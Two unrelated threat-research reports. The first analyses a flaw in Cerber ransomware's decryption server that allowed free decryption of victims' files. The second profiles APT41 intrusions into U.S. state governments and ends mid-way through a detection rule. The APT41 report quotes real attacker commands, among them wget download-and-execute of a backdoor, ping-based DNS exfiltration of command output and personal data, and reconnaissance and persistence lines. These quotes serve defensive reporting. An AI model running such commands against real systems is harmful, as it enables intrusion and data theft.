Without any doubt, 2016 was the year of ransomware. What makes ransomware so attractive to attackers is that it offers the possibility of large profits while not requiring too much effort. With the availability of ransomware-as-a-service, someone with very little actual knowledge of computers can easily manage a highly profitable campaign.
A wide variety of different ransomware families appeared over the course of the last year, including Locky, CryptoWall and CryptXXX, to name just a few. Let's talk about the very profitable Cerber.
The Cerber ransomware was mentioned for the first time in March 2016 on some Russian underground forums, on which it was offered for rent in an affiliate program. Since then, it has been spread massively via exploit kits, infecting more and more users worldwide, mostly in the APAC (Asia-Pacific) region. At the time of writing this paper, there are six major versions.
There have been multiple successful attempts to decrypt users' files without paying a ransom. At the end of July 2016, Trend Micro released a partially working decryptor for the first version of Cerber. In early August, we had a chance to take a look at the original Cerber decryptor code that was available for download upon payment of the ransom. Our main goal was to discover a flaw, based on the standard approaches we use against ransomware.
From our perspective, it wouldn't be as much fun if this was one of the expected bugs – and fortunately, the one we discovered wasn't. However, as with any flaw, you need to hide the solution from the criminals. In an ironic twist, the ransomware authors released a new Cerber 2 version the day before we were due to release the decryptor.
In order to be able to provide our decryption tool to as many victims as possible, we gathered forces and adapted it to the new version on the same day, thus managing to release it on time. The tool was used by many victims worldwide.
This paper details the story of the ransomware's fatal flaw and our free decryption service. We will dive deep into the background of Cerber as a service, the business operations, the money flow between the attacker and the affiliate, full global infection statistics and the estimated overall profit of the criminals.
## 1. Introduction
In this paper we discuss one of the largest recent ransomware campaigns, known as Cerber. We describe the ransomware's encryption routine and reveal technical details of the server-side vulnerability that was used for the successful decryption of thousands of infected machines. We also share information on the money flow and estimated overall profit of the criminals, together with the tools used to collect that information. The decryption software will be available as open source on our GitHub repository.
## 2. Encryption scheme
Let's describe the encryption scheme used by the Cerber ransomware. It uses a mix of symmetric and asymmetric encryption algorithms, such as RC4 and RSA. Almost all the encryption keys are generated randomly on the victim's machine.
First, let's take a look at the keys that are used by Cerber during the encryption process:
| Key | Appearance/description | Scope |
|------------------------|------------------------|---------|
| RSA_M_PUB (2048 bits) | Configuration | Global |
| | This is a master public key | |
| RSA_X_PUB/PRI (X bits) | Random | Global |
| | This is a local key pair | |
| RC4_KEY (128 bytes) | Random | Per file|
The structure of the encrypted file is presented in Figure 1.
The goal of the encryption routine is to encrypt a single file from the file system. The number of bytes that are stolen from the beginning of each encrypted file (hereafter called N) is calculated once and depends on the local RSA key size. The steps performed by Cerber to encrypt a single file are as follows:
1. Calculate the number of blocks that will be encrypted (up to the maximum number of blocks specified in the configuration).
2. Steal N bytes from the beginning of the file by replacing them with random bytes.
3. Encrypt each block with the RC4 algorithm using RC4_KEY as a key.
4. The following meta information is encrypted and appended to the end of the processed file:
| Information | Algorithm | Key |
|------------------------|-----------|------------|
| FileMetainfo | RC4 | RC4_KEY |
| FileStolenHeader | RSA | RSA_X_PUB |
| RSA_X_PUB/PRI | RSA | RSA_M_PUB |
The FileStolenHeader contains RC4_KEY, which can be used to restore the encrypted blocks, thus it is encrypted using RSA_X_PUB. RSA_X_PRI is encrypted by the master RSA_M_PUB key, because it can be used for the FileStolenHeader decryption.
Two main data structures that represent the encrypted file are presented below:
```c
struct FileStolenHeader {
char ver_magic[4]; // magic header (version)
uint32_t rand_bytes; // random bytes
uint16_t fn_len; // Unicode filename length
uint8_t blocks; // blocks to encrypt
uint32_t block_size; // block size
uint16_t N_to_steal; // number of bytes to steal
uint32_t N_bytes_mmh; // murmur3 hash of stolen
char RC4_KEY[16]; // RC4_KEY
char stolen_bytes[0]; // stolen bytes
};
struct FileMetainfo {
FILETIME Creation; // original CR time
FILETIME LastAccess; // original LA time
FILETIME LastWrite; // original LW time
char orig_fn[0]; // original filename
uint64_t blocks_mmh[0]; // murmur3 hash of blocks
};
```
The overall structure of an encrypted file was presented in Figure 1, however this can vary depending on the size of the encrypted file.
If a single block is encrypted:
```c
struct EncryptedFile {
char rand_bytes[N]; // stolen bytes repl
char ct[FileSize-N]; // encrypted file data
FileMetainfo enc_fmi; // encrypted FMI stru
char enc_fsh[0]; // encrypted FSH stru
char enc_RSA_X[0]; // encrypted RSA_X_*
};
```
If multiple blocks are encrypted:
```c
struct EncryptedFile {
char rand_bytes[N]; // stolen bytes repl
char pt_0[K]; // plaintext chunk
char ct_0[max_block_size]; // ciphertext chunk
...
char pt_y[M]; // plaintext chunk
char ct_y[max_block_size]; // ciphertext chunk
FileMetainfo enc_fmi; // encrypted FMI stru
char enc_fsh[0]; // encrypted FSH stru
char enc_RSA_X[0]; // encrypted RSA_X_*
};
```
If the file is small:
```c
struct EncryptedFile {
char rand_bytes[N]; // stolen bytes repl
FileMetainfo enc_fmi; // encrypted FMI stru
char enc_fsh[0]; // encrypted FSH stru
char enc_RSA_X[0]; // encrypted RSA_X_*
};
```
## 3. Decryption scheme
Let's discuss the decryption scheme that is used by the Cerber ransomware, after the ransom has been paid. An overview of the decryption scheme is shown in Figure 2.
The following steps are performed by the decryptor in order to restore encrypted files:
1. Extract encrypted blob of RSA_X_PUB/PRI (hereafter ENC_RSA_X_BLOB) from the end of the encrypted file and send it to the server.
2. Decrypt RSA_X_PRI on the server by using RSA_M_PRI and send it to the client. RSA_M_PRI is the master private key and is known only to the attacker.
3. Use the obtained RSA_X_PRI to decrypt the FileStolenHeader structure, thus restoring RC4_KEY and the stolen bytes.
4. Decrypt encrypted blocks by using RC4_KEY.
5. Restore original file content by combining stolen header with the decrypted blocks.
6. Decrypt FileMetainfo structure using RC4_KEY and restore file meta information.
As we can see, the decryption routine is not complicated. The only blind spot is the RSA_M_PRI key. Factorization of a 2048-bit number is a nice challenge, but is definitely not what we want to deal with, because cracking such a long key is not feasible in a reasonable amount of time.
Let's take a look at how the decryptor communicates with the server in order to obtain RSA_X_PRI, which is critical for the decryption process. The decryptor encodes ENC_RSA_X_BLOB using a base64 algorithm (hereafter PRIVATE_KEY). The ID of the infected machine is calculated as an MD5 of the previously encoded block (hereafter SIGN).
The first message contains only the machine ID, which is sent using the following format:
`"sign=%s" % SIGN`
The response from the server contains a CAPTCHA image, which must be solved to continue decryption. We assume that this is done to protect the decryption server from the DDoS.
The CAPTCHA solution, together with PRIVATE_KEY and SIGN, are sent to the server using the following format:
`"captcha=%d&sign=%s&private_key=%s" % (CAPTCHA, SIGN, PRIVATE_KEY)`
If the CAPTCHA has successfully been solved and the specified machine ID has made the ransom payment, the server decrypts RSA_X_PRI and sends it back to the client. Then the decryptor starts the file restore process.
If the ransom for the specified machine ID is not paid, the user receives a message during communication with the decryption server.
## 4. Fatal flaw
This section describes the approaches that were used to find a flaw in the decryptor. First, we should understand how exactly the server validates that the ransom has been paid for a specific machine. The most obvious answer is the use of the SIGN field. If the ransom is paid for SIGN, the server decrypts PRIVATE_KEY and sends RSA_X_PRI to the user.
Let's try to rewrite the server code that is responsible for handling decryption requests from users based on received responses:
```python
def handle_request_decrypt_private_key(packet):
if not captcha_correct(packet['captcha']):
send('{"error": "Captcha expired or invalid"}')
return
if not paid(packet['sign']):
send('{"error":"Not paid"}')
return
pk = urls_to_b64(packet['private_key'])
#**********************************************
# DOES SERVER SIDE HAVE SUCH INTEGRITY CHECK ?#
if md5(pk).hexdigest() != packet['sign']:
send('{???}')
return
#**********************************************
RSA_X_PRI = decrypt(b64decode(pk))
send('{"error": "null", "private_key": "%s"}' %\
encode(RSA_X_PRI))
```
Let's try to recreate the server's exact behaviour based on the received responses and common sense:
1. Check if CAPTCHA is correct.
2. Check if SIGN is paid. Server treats SIGN as a unique machine ID.
3. Perform integrity check on delivered PRIVATE_KEY using SIGN, because SIGN is the hexlified MD5 of PRIVATE_KEY.
4. Decrypt PRIVATE_KEY and extract RSA_X_PRI.
The first two steps can easily be checked by sending an incorrect CAPTCHA solution and SIGN that is unpaid. The third step is what we are really interested in.
Let's imagine that SIGN_A signature is paid and we have a possibility to restore RSA_X_PRI_A. RSA_X_PRI_A is restored from the PRIVATE_KEY data that is under the sender's control. So what happens if the user spoofs that data?
Let's think what exactly we can achieve by setting PRIVATE_KEY to prepared data assuming SIGN_A is paid. What will happen if we can calculate PRIVATE_KEY_V for another infection? Assuming that a data integrity check is absent, then the server will simply decrypt PRIVATE_KEY_V and extract RSA_X_PRI_V, thus giving the possibility to restore infected files for the user who hasn't paid! By applying the same tactics to all infected machines, we can restore them by using only one valid SIGN.
If the server does not perform an integrity check of the PRIVATE_KEY data, then it is decrypted and the RSA_X_PRI_V key is sent to the user. The user then adopts that key to restore encrypted files.
To showcase this theory we paid the ransom for one infection that was performed on a specially prepared machine. All the checks on the server side passed and the decryption process succeeded.
Next, a second machine was infected and encrypted with the Cerber ransomware. It obviously had a different PRIVATE_KEY. The original decryptor was dirty patched to use the same SIGN as was previously paid. We started the decryptor on the second infected machine, and all the data on the infected machine was decrypted!
The Cerber authors simply did not perform a data integrity check, thus giving us the possibility to exploit this bug and decrypt machines with only one paid signature.
## 5. Decryption service installation
This section provides a general description of what actions were performed in order to establish a decryption service as soon as possible after the vulnerability was discovered. Our two main goals were to hide the flaw from the attackers for as long as possible and to make the bandwidth for decryption as wide as possible.
In order to fulfil both requirements we decided to set up a server that would be responsible for fetching the keys. After being fetched, the obtained key would be sent to the infected user. This key would then be used by the client-side decryptor to restore the files.
The following steps are taken in order to retrieve the decryption key for a specific infection:
1. User uploads encrypted file from the infected machine to the Check Point Decryption Service (CPDS).
2. CPDS extracts ENC_RSA_X_BLOB from the received file, which is aliased with PRIVATE_KEY_K.
3. PRIVATE_KEY_K is sent to the Cerber Decryption Server (CDS) together with the paid SIGN_A.
4. CDS checks if SIGN_A is paid and decrypts the RSA_X_PRI client private key by using RSA_M_PRI.
5. CDS sends RSA_X_PRI_K in a specific format to the CPDS.
6. CPDS extracts RSA_X_PRI_K and sends the file with its content to the user.
7. User uses the obtained file together with the RSA_X_PRI_K in order to restore encrypted files by the running prepared application.
In order to parallelize victims' requests and reduce both the waiting time and server bug fixing, four decryption signatures were purchased. With that number of keys we were able to handle up to 20,000 decryption requests per day.
## 6. A ransomware-as-a-service ecosystem
Cerber ransomware-as-a-service illustrates every aspect of an effective business franchise. The actor behind the operation, dubbed 'crbr', offers the ransomware for sale through a private, carefully managed affiliate program – actors who are willing to distribute the ransomware are granted a comprehensive use panel through which they can monitor the rate of the infections, encryption process and ransom payments. In return, 40% of the profits are transferred to 'crbr' as a fee. Based on data collected by our sensors, during July 2016 Cerber affiliates ran over 150 active campaigns, infecting nearly 150,000 victims, with a total estimated profit of US$195,000 per month, which adds up to US$2.3 million per year. In fact, the Cerber ransomware demonstrates a growth rate higher than that of major global fast food chains.
## 7. Following the money trail
Cerber generates a unique Bitcoin wallet to receive funds from each victim. The generated wallet appears in the landing page shown to the victim, represented by an encoded string in the URL. Check Point researchers examined tens of thousands of victim Bitcoin wallets, and found that only 0.3% of the victims chose to pay the ransom. But the bigger question is: once a Bitcoin transaction occurs, what happens to the money? Based on our analysis, it seems that Cerber uses a Bitcoin mixing service as part of its money flow in order to remain untraceable. A mixing service allows the ransomware author to transfer Bitcoins and receive the same amount back to a wallet that cannot be associated with the original owner. This is achieved by mixing multiple users' funds together, using tens of thousands of Bitcoin wallets, making it almost impossible to track them individually. Based on our research, automated tools distribute the affiliate shares only after the money has been swapped by the mixing service and the malware author's share has been collected.
## Summary
Thousands of users restored their files while the Check Point Cerber Decryption Service was active. Unfortunately, the attackers were quite responsive and fixed the vulnerability within 24 hours.
Cerber ransomware-as-a-service uses a business model that has been proven to be effective by some of the biggest franchise businesses worldwide. Furthermore, the malware author uses a sophisticated money flow to ensure that the profits remain sealed and that its Bitcoin wallets cannot be associated with the attack operation. It is therefore little wonder that Cerber ransomware is one of the most widespread pieces of ransomware of our time.
## Acknowledgements
We would like to thank the Check Point Malware Research and Threat Intelligence teams and in particular Aliaksandr Trafimchuk for his devoted help throughout the research. |
# Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments
**UPDATE (Mar. 8):** The original post may not have provided full clarity that CVE-2021-44207 (USAHerds) had a patch developed by Acclaim Systems for applicable deployments on or around Nov. 15, 2021. Mandiant cannot speak to the affected builds, deployment, adoption, or other technical factors of this vulnerability patch beyond its availability.
In May 2021, Mandiant responded to an APT41 intrusion targeting a United States state government computer network. This was just the beginning of Mandiant’s insight into a persistent months-long campaign conducted by APT41 using vulnerable Internet-facing web applications as their initial foothold into networks of interest. APT41 is a prolific Chinese state-sponsored espionage group known to target organizations in both the public and private sectors and also conducts financially motivated activity for personal gain.
In this blog post, we detail APT41’s persistent effort that allowed them to successfully compromise at least six U.S. state government networks by exploiting vulnerable Internet-facing web applications, including using a zero-day vulnerability in the USAHerds application (CVE-2021-44207) as well as the now infamous zero-day in Log4j (CVE-2021-44228). While the overall goals of APT41's campaign remain unknown, our investigations into each of these intrusions have revealed a variety of new techniques, malware variants, evasion methods, and capabilities.
## Campaign Overview
Although APT41 has historically performed mass scanning and exploitation of vulnerabilities, our investigations into APT41 activity between May 2021 and February 2022 uncovered evidence of a deliberate campaign targeting U.S. state governments. During this timeframe, APT41 successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet-facing web applications, often written in ASP.NET. In most of the web application compromises, APT41 conducted .NET deserialization attacks; however, we have also observed APT41 exploiting SQL injection and directory traversal vulnerabilities.
In the instance where APT41 gained access through a SQL injection vulnerability in a proprietary web application, Mandiant Managed Defense quickly detected and contained the activity; however, two weeks later APT41 re-compromised the network by exploiting a previously unknown zero-day vulnerability in a commercial-off-the-shelf (CoTS) application, USAHerds. In two other instances, Mandiant began an investigation at one state agency only to find that APT41 had also compromised a separate, unrelated agency in the same state.
APT41 was also quick to adapt and use publicly disclosed vulnerabilities to gain initial access into target networks while also maintaining existing operations. On December 10, 2021, the Apache Foundation released an advisory for a critical remote code execution (RCE) vulnerability in the commonly used logging framework Log4J. Within hours of the advisory, APT41 began exploiting the vulnerability to later compromise at least two U.S. state governments as well as their more traditional targets in the insurance and telecommunications industries.
In late February 2022, APT41 re-compromised two previous U.S. state government victims. Our ongoing investigations show the activity closely aligns with APT41's May-December 2021 activity, representing a continuation of their campaign into 2022 and demonstrating their unceasing desire to access state government networks. A timeline of representative intrusions from this campaign can be seen in Figure 1.
The goals of this campaign are currently unknown, though Mandiant has observed evidence of APT41 exfiltrating Personal Identifiable Information (PII). Although the victimology and targeting of PII data is consistent with an espionage operation, Mandiant cannot make a definitive assessment at this time given APT41’s history of moonlighting for personal financial gain.
## Exploitation of Deserialization Vulnerabilities
APT41 has primarily used malicious ViewStates to trigger code execution against targeted web applications. Within the ASP.NET framework, ViewState is a method for storing the application’s page and control values in HTTP requests to and from the server. The ViewState is sent to the server with each HTTP request as a Base64 encoded string in a hidden form field. The web server decodes the string and applies additional transformations to the string so that it can be unpacked into data structures the server can use. This process is known as deserialization.
Insecure deserialization of user-supplied input can result in code execution. ASP.NET has several insecure deserialization providers, including the one used for ViewStates: ObjectStateFormatter. To prevent a threat actor from manipulating the ViewState and taking advantage of the insecure deserialization provider, the ViewState is protected by a Message Authentication Code (MAC). This MAC is a cryptographically signed hash value that the server uses to ensure that the ViewState has not been tampered with, possibly to trigger code execution. The integrity of the ViewState depends on the application’s machineKey remaining confidential. The machineKey is stored on the application server in a configuration file named web.config.
```xml
<machineKey validationKey="XXXXXXXXXXXXXXXXX" decryptionKey="XXXXXXXXXXXXXXXXXXXXXX" validation="SHA1" />
```
A threat actor with knowledge of the machineKey can construct a malicious ViewState and then generate a new and valid MAC that the server accepts. With a valid MAC, the server will then deserialize the malicious ViewState, resulting in the execution of code on the server. Publicly available tools such as YSoSerial.NET exist to construct these malicious ViewStates. This is precisely how APT41 initiated their campaign in May 2021.
## Proprietary Web Application Targeting
In June 2020, one year before APT41 began this campaign, Mandiant investigated an incident where APT41 exploited a directory traversal vulnerability specifically to read the web.config file for a vulnerable web application on a victim web server. APT41 then used the machineKey values from the web.config file to generate a malicious ViewState payload for a deserialization exploit. Mandiant did not identify how APT41 originally obtained the machineKey values for the proprietary application exploited in May 2021 or the USAHerds application, which was first exploited in July 2021. However, it is likely that APT41 obtained the web.config file through similar means.
To craft malicious ViewStates, APT41 relied on the publicly available Github project YSoSerial.NET. In order to successfully load arbitrary .NET assemblies into memory, APT41 set the DisableActivitySurrogateSelectorTypeCheck property flag to true within the ConfigurationManager.AppSettings class of the running application via the ViewState payload. APT41 subsequently loaded .NET assemblies into memory using additional YSoSerial payloads configured to write webshells to a hardcoded filepath on disk.
## USAHerds (CVE-2021-44207) Zero-Day
In three investigations from 2021, APT41 exploited a zero-day vulnerability in the USAHerds web application. USAHerds is a CoTS application written in ASP.NET and used by 18 states for animal health management. The vulnerability in USAHerds (CVE-2021-44207) is similar to a previously reported vulnerability in Microsoft Exchange Server (CVE-2020-0688), where the applications used a static validationKey and decryptionKey (collectively known as the machineKey) by default. As a result, all installations of USAHerds shared these values, which is against the best practice of using uniquely generated machineKey values per application instance.
Generating unique machineKey values is critical to the security of an ASP.NET web application because the values are used to secure the integrity of the ViewState.
Mandiant did not identify how APT41 originally obtained the machineKey values for USAHerds; however, once APT41 obtained the machineKey, they were able to compromise any server on the Internet running USAHerds. As a result, there are potentially additional unknown victims.
## Log4j (CVE-2021-44228)
The most recent APT41 campaign began shortly after the release of CVE-2021-44228 and its related proof-of-concept exploits in December 2021. Exploiting this vulnerability, also known as Log4Shell, causes Java to fetch and deserialize a remote Java object, resulting in potential code execution. Similar to their previous web application targeting, APT41 continued to use YSoSerial generated deserialization payloads to perform reconnaissance and deploy backdoors. Notably, APT41 deployed a new variant of the KEYPLUG backdoor on Linux servers at multiple victims, a malware sub-family we now track as KEYPLUG.LINUX. KEYPLUG is a modular backdoor written in C++ that supports multiple network protocols for command and control (C2) traffic including HTTP, TCP, KCP over UDP, and WSS. APT41 heavily used the Windows version of the KEYPLUG backdoor at state government victims between June 2021 and December 2021, thus the deployment of a ported version of the backdoor closely following the state government campaign was significant.
After exploiting Log4Shell, APT41 continued to use deserialization payloads to issue ping commands to domains, a technique APT41 frequently used at government victims months prior. An example ping command is shown below.
```bash
ping -c 1 libxqagv[.]ns[.]dns3[.]cf
```
Upon gaining access to a target environment, APT41 performed host and network reconnaissance before deploying KEYPLUG.LINUX to establish a foothold in the environment. Sample commands used to deploy KEYPLUG.LINUX can be seen below.
```bash
wget http://103.224.80[.]44:8080/kernel
chmod 777 kernel
mv kernel .kernel
nohup ./.kernel &
```
## “All Killer No Filler” Intrusion TTPs
The updated tradecraft and new malware continue to show APT41 is a highly adaptable and resourceful actor. In this section, we detail the most pertinent post-compromise techniques.
### Reconnaissance
After gaining initial access to an internet-facing server, APT41 performed extensive reconnaissance and credential harvesting. A common tactic seen is the deployment of a ConfuserEx obfuscated BADPOTATO binary to abuse named pipe impersonation for local NT AUTHORITY\SYSTEM privilege escalation. Once APT41 escalated to NT AUTHORITY\SYSTEM privileges, they copied the local SAM and SYSTEM registry hives to a staging directory for credential harvesting and exfiltration. APT41 has additionally used Mimikatz to execute the lsadump::sam command on the dumped registry hives to obtain locally stored credentials and NTLM hashes.
APT41 also conducted Active Directory reconnaissance by uploading the Windows command-line tool dsquery.exe and its associated module dsquery.dll to a staging directory on the compromised server. Below are multiple dsquery commands used to enumerate various Active Directory objects within the environment.
```bash
c:\programdata\dsquery.exe * -filter "(objectCategory=Person)" -attr cn title displayName description department company sAMAccountName mail mobile telephoneNumber whenCreated whenChanged logonCount badPwdCount distinguishedName -L -limit 0
c:\programdata\dsquery.exe * -filter "(objectCategory=Computer)" -attr cn operatingSystem operatingSystemServicePack operatingSystemVersion dNSHostName whenCreated whenChanged lastLogonTimestamp distinguishedName description managedBy mS-DS-CreatorSID -limit 0
c:\programdata\dsquery.exe * -filter "(objectCategory=Computer)" -attr cnservicePrincipalName -L -limit 0
c:\programdata\dsquery.exe * -filter "(objectCategory=Group)" -uc -attr cn sAMAccountName distinguishedName description -limit 0
c:\programdata\dsquery.exe * -filter "(objectClass=organizationalUnit)" -attr ou name whenCreated distinguishedName gPLink -limit 0
```
During the early stage of one U.S. state government intrusion, Mandiant identified a new malware family used by APT41 we track as DUSTPAN. DUSTPAN is an in-memory dropper written in C++ that leverages ChaCha20 to decrypt embedded payloads. Different variations of DUSTPAN may also load and execute a payload from a hard-coded filepath encrypted in the binary. DUSTPAN is consistent with the publicly named StealthVector, reported by Trend Micro in August 2021. During the intrusion, DUSTPAN was used to drop a Cobalt Strike BEACON backdoor.
### Anti-Analysis
APT41 continues to leverage advanced malware in their existing toolkit, such as the DEADEYE launcher and LOWKEY backdoor, with added capabilities and anti-analysis techniques to hinder investigations. During a recent intrusion, Mandiant identified a new malware variant, DEADEYE.EMBED, contained in an Alternate Data Stream of a local file. DEADEYE.EMBED variants embed the payload inside of the compiled binary rather than appended to the overlay at the end of the file, as seen in DEADEYE.APPEND.
APT41 commonly packages their malware with VMProtect to slow reverse engineering efforts. During multiple U.S. state government intrusions, APT41 incorporated another anti-analysis technique by chunking a VMProtect packaged DEADEYE binary into multiple sections on disk. Breaking the binary into multiple files reduces the chance that all samples can be successfully acquired during a forensic investigation. Common file naming conventions used by APT41 when deploying DEADEYE on victim hosts can be seen below.
These files would then be combined into a single DLL before execution as seen below.
```bash
"cmd" /c copy /y /b C:\Users\public\syslog_6-*.dat C:\Users\public\syslog.dll
```
In addition to separating their VMProtect packaged malware on disk, APT41 changed the standard VMProtect section names (.vmp) to UPX section names (.upx). By doing so, the malware could evade basic hunting detections that flag binaries packaged with VMProtect. During Log4j exploitation, APT41 similarly chunked a KEYPLUG.LINUX binary into four separate files named “xaa”, ” xab”, ” xac”, and ” xad”. APT41 also packaged the KEYPLUG.LINUX binary with VMProtect and used UPX section names. This technique is very low in prevalence across our malware repository, and even lower in prevalence when searching across ELF files.
APT41 also updated the DEADEYE execution guardrail capabilities used during the campaign. Guardrailing is a technique used by malware to ensure that the binary only executes on systems that the threat actor intended. DEADEYE samples from older campaigns used the victim computer’s volume serial number but they have since been updated to use the hostname and/or DNS domain during the U.S. state government campaign. To acquire the local computer’s hostname and DNS domain, DEADEYE executes the WinAPI functions GetComputerNameA and/or GetComputerNameExA and provides it as input for a generated decryption key.
### Persistence
APT41 continues to leverage advanced tradecraft to remain persistent and undetected. In multiple instances, the Windows version of the KEYPLUG backdoor leveraged dead drop resolvers on two separate tech community forums. The malware fetches its true C2 address from encoded data on a specific forum post. Notably, APT41 continues to update the community forum posts frequently with new dead drop resolvers during the campaign. APT41 has historically used this unique tradecraft during other intrusions to help keep their C2 infrastructure hidden.
To persist execution of DEADEYE, APT41 has leveraged the `schtasks /change` command to modify existing scheduled tasks that run under the context of SYSTEM. APT41 commonly uses the living off the land binary (lolbin) `shell32.dll!ShellExec_RunDLLA` in scheduled tasks for binary execution, such as the example shown below.
```bash
SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor" /TR "C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU "" /ENABLE
```
APT41 has leveraged the following Windows scheduled tasks for persistence of DEADEYE droppers in U.S. state government intrusions:
- \Microsoft\Windows\PLA\Server Manager Performance Monitor
- \Microsoft\Windows\Ras\ManagerMobility
- \Microsoft\Windows\WDI\SrvSetupResults
- \Microsoft\Windows\WDI\USOShared
Another technique APT41 used to launch malware is through the addition of a malicious import to the Import Address Table (IAT) of legitimate Windows PE binaries. As a result, once the legitimate binary is executed, it will load the malicious library and call its DllEntryPoint. A modified IAT of a legitimate Microsoft HealthService.exe binary can be seen below.
APT41 continues to tailor their malware to victim environments through their stealthy passive backdoor LOWKEY.PASSIVE. During one intrusion, APT41 exploited a USAHerds server and subsequently executed DEADEYE.APPEND which dropped LOWKEY.PASSIVE in-memory. The identified LOWKEY.PASSIVE sample listened for incoming connections that request either of the following URL endpoints:
- http://<HOST:PORT>/USAHerds/Common/%s.css
- https://<HOST:PORT>/USAHerds/Common/%s.css
APT41 frequently configured LOWKEY.PASSIVE URL endpoints to masquerade as normal web application traffic on an infected server.
## “It’s Always Cloudy in Chengdu” — Cloudflare Usage
APT41 has substantially increased their usage of Cloudflare services for C2 communications and data exfiltration. Specifically, APT41 leveraged Cloudflare Workers to deploy serverless code accessible through the Cloudflare CDN which helps proxy C2 traffic to APT41 operated infrastructure.
At multiple victims, APT41 issued ping commands where the output of a reconnaissance command was prepended to subdomains of Cloudflare proxied infrastructure. Once the ping command was executed, the local DNS resolver attempted to resolve the fabricated domain containing the prepended command output. The forward DNS lookup eventually reached the primary domain's Cloudflare name servers, which were unable to resolve an IP address for the fabricated domain. However, the DNS activity logs of the attacker-controlled domain recorded the DNS lookup of the subdomain, allowing the group to collect the reconnaissance command output.
Examples of this technique can be seen below.
```powershell
$a=whoami;ping ([System.BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($a)).replace('-','')+"".ns[.]time12[.]cf"")
```
```bash
cmd.exe /c ping %userdomain%[.]ns[.]time12[.]cf
```
In the next example, APT41 issued a command to find the volume serial number of the system, which has historically been used as the decryption key for DEADEYE payloads.
```bash
ping -n 1 ((cmd /c dir c:\|findstr Number).split()[-1]+'.ns[.]time12[.]cf
```
In this last example, the command prints the length of the file syslog_6-1.dat, likely to ensure it has been fully written to disk prior to combining the multiple files into the full malicious executable.
```bash
ping -n 1 ((ls C:\Users\public\syslog_6-1.dat).Length.ToString()+"".ns[.]time12[.]cf"")
```
APT41 leveraged the aforementioned technique for further data exfiltration by hex encoding PII data and prepending the results as subdomains of the attacker-controlled domain. The resulting DNS lookups triggered by the ping commands would be recorded in the activity logs and available to APT41.
APT41’s continued usage of Cloudflare services is further exemplified in recently developed KEYPLUG samples. Mandiant identified a unique capability added to KEYPLUG that leverages the WebSocket over TLS (WSS) protocol for C2 communication. According to Cloudflare, WebSocket traffic can be established through the Cloudflare CDN edge servers, which will proxy data through to the specified origin server. KEYPLUG includes a hardcoded one-byte XOR encoded configuration file that lists the specific communication protocol, servers, and additional settings. After KEYPLUG decodes the hardcoded configuration file at runtime, it will parse the configuration to determine the appropriate network protocol and servers to use for command and control. After the configuration is parsed, KEYPLUG randomly chooses a CIDR block from the list then randomly chooses an IP address within the CIDR block based on the current tick count of the infected computer.
The CIDR blocks listed in the configuration are Cloudflare CDN associated infrastructure that will redirect the WSS connection to the malicious domain afdentry[.]workstation[.]eu[.]org.
An example HTTP request sent by KEYPLUG to initiate and upgrade to the WSS protocol using Cloudflare infrastructure is shown below.
We notified Cloudflare of this malicious activity and they took prompt action to disrupt communications to the malicious infrastructure. APT41’s increased usage of Cloudflare services indicates a desire to leverage Cloudflare’s flexibility and deter identification and blocking of their true C2 servers.
## Outlook
APT41's recent activity against U.S. state governments consists of significant new capabilities, from new attack vectors to post-compromise tools and techniques. APT41 can quickly adapt their initial access techniques by re-compromising an environment through a different vector or by rapidly operationalizing a fresh vulnerability. The group also demonstrates a willingness to retool and deploy capabilities through new attack vectors as opposed to holding onto them for future use. APT41 exploiting Log4J in close proximity to the USAHerds campaign showed the group’s flexibility to continue targeting U.S. state governments through both cultivated and co-opted attack vectors. Through all the new, some things remain unchanged: APT41 continues to be undeterred by the U.S. Department of Justice (DOJ) indictment in September 2020.
## Indicators
**Malware Family** | **MD5** | **SHA1** | **SHA256**
--- | --- | --- | ---
KEYPLUG.LINUX | 900ca3ee85dfc109baeed4888ccb5d39 | 355b3ff61db44d18003537be8496eb03536e300f | e024ccc4c72eb5813cc2b6db7
KEYPLUG.LINUX | b82456963d04f44e83442b6393face47 | 996aa691bbc1250b571a2f5423a5d5e2da8317e6 | d7e8cc6c19ceebf0e125c9f18b
DSQUERY | 49f1daea8a115dd6fce51a1328d863cf | e85427af661fe5e853c8c9398dc46ddde50e2241 | ebf28e56ae5873102b51da2cc
DSQUERY | b108b28138b93ec4822e165b82e41c7a | 7056b044f97e3e349e3e0183311bb44b0bc3464f | 062a7399100454c7a523a9382
BADPOTATO | 143278845a3f5276a1dd5860e7488313 | 6f6b51e6c88e5252a2a117ca1cfb57934930166b | a4647fcb35c79f26354c34452e
**Context** | **Indicator(s)**
--- | ---
U.S. State Government Campaign – USAHerds (CVE-2021-44207) Exploitation | 194[.]195[.]125[.]121, 194[.]156[.]98[.]12, 54[.]248[.]110[.]45, 45[.]153[.]231[.]31, 185[.]118[.]167[.]40, 104[.]18[.]6[.]251, 104[.]18[.]7[.]251, 20[.]121[.]42[.]11, 34[.]139[.]13[.]46, 54[.]80[.]67[.]241, 149[.]28[.]15[.]152, 18[.]118[.]56[.]237, 107[.]172[.]210[.]69, 172[.]104[.]206[.]48, 67[.]205[.]132[.]162, 45[.]84[.]1[.]181, cdn[.]ns[.]time12[.]cf, east[.]winsproxy[.]com, afdentry[.]workstation[.]eu[.]org, ns1[.]entrydns[.]eu[.]org, subnet[.]milli-seconds[.]com, work[.]viewdns[.]ml, work[.]queryip[.]cf
Log4j (CVE-2021-44228) Exploitation | 103[.]238[.]225[.]37, 182[.]239[.]92[.]31, microsoftfile[.]com, down-flash[.]com, libxqagv[.]ns[.]dns3[.]cf
## Detections
```yaml
rule M_APT_Backdoor_KEYPLUG_MultiXOR_Config
{
meta:
author = "Mandiant"
description = "Matches KEYPLUG XOR-encoded configurations. Locates multiple values of: TCP://, UDP://, WSS://, +http and their pipe-deliminated variant: |TCP://, |UDP://, |WSS://, |+http. Requires at least one instance of 00| in the encoded configuration which corresponds to the sleep value. Removed instances where double-NULLs were present in the generated strings to reduce false positives."
strings:
// TCP
$tcp1 = "TCP://" xor(0x01-0x2E)
$tcp2 = "TCP://" xor(0x30-0xFF)
$ptcp1 = "|TCP://" xor(0x01-0x2E)
$ptcp2 = "|TCP://" xor(0x30-0xFF)
// UDP
$udp1 = "UDP://" xor(0x01-0x2E)
$udp2 = "UDP://" xor(0x30-0xFF)
